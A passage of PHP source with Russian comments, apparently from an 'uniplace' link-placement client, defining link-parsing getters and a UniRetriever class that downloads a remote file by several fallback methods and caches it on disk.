preg_match('#</a>(.*?)$#si', $this->name, $regs); return trim($regs[1]); } /** * Геттер $url * * @return string */ function get_url() { preg_match('/<a\s*href=[\"\']?([^\"\'>]*)/si', $this->name, $regs1); return trim($regs1[1]); } var $name; } /** * Класс для скачивания из интернета * */ class UniRetriever { /** * URL файла который скачать * * @var string */ var $remote_file; /** * Имя файла в который сохранить * * @var string */ var $local_file; /** * Удаленный хост * * @var string */ var $host; /** * Путь на удаленном сервере * * @var string */ var $path; /** * Содержимое полученного файла * * @var string */ var $content; /** * Конструктор * * @param string $remote_file * @param string $local_file * @return UniRetriever */ function UniRetriever($remote_file, $local_file) { $this->remote_file = $remote_file; $this->local_file = $local_file; // разделяем на хост и путь после хоста $parts = preg_match("@^http://(.+)/(.+)$@Uis", $this->remote_file, $matches); $this->host = $matches[1]; $this->path = "/" . $matches[2]; } /** * Скачивает файл и сохраняет его на диске * */ function fetch() { $user_agent = 'uniplace client'; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', 10); @ini_set('user_agent', $user_agent); // самый простой путь if (function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1) { $text = @file_get_contents($this->remote_file); } // через курл elseif (function_exists('curl_init')) { if ($c = @curl_init()) { @curl_setopt($c, CURLOPT_URL, $this->remote_file); @curl_setopt($c, CURLOPT_HEADER, false); @curl_setopt($c, CURLOPT_RETURNTRANSFER, true); @curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 10); @curl_setopt($c, CURLOPT_USERAGENT, $user_agent); $text = @curl_exec($c); @curl_close($c); } // самый плохой путь } else { $buff = ''; $fp = @fsockopen($this->host, 80, $errno, $errstr, 10); if ($fp) { @fputs($fp, "GET " . $this->path . " HTTP/1.0\r\nHost: " . $this->host . "\r\n"); @fputs($fp, "User-Agent: " . $user_agent . "\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp, 128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); $text = $page[1]; } } $this->content = $text; } /** * Возвращает содержимое, полученное от сервера * * @return string */ function get_content() { return $this->content; } /** * Записать полученное содержимое в файл * */ function save() { //echo "LOCALFILE: ".$this->local_file."\r\n"; $fh = @fopen($this->local_file, "w"); if (is_resource($fh)) { @fputs($fh, $this->get_content()); } @fclose($fh); } /** * Устанавливает время модификации локального файла * * @param int $diff */ function touch($diff = 0) { if (file_exists($this->local_file)) @touch($this->local_file, time() + $diff); } /** * Возвращает true или false в зависимости от того, считается ли файл устаревшим * * @param int $timeout количество секунд, после которого считать файл устаревшим * @return boolean */ function is_old($timeout) { if ($timeout < 3600) { $timeout = 3600; } if (file_exists($this->local_file)) { $stat = stat($this->local_file); $mtime = $stat[9]; return (time() - $mtime > $timeout); } else { return true; } } /** * Получить содержимое файла * * @return string */ function get_local_contents() { //var_dump($this->local_file); if (file_exists($this->local_file)) { return @implode("", file($this->local_file)); } else { return null; } } } ?>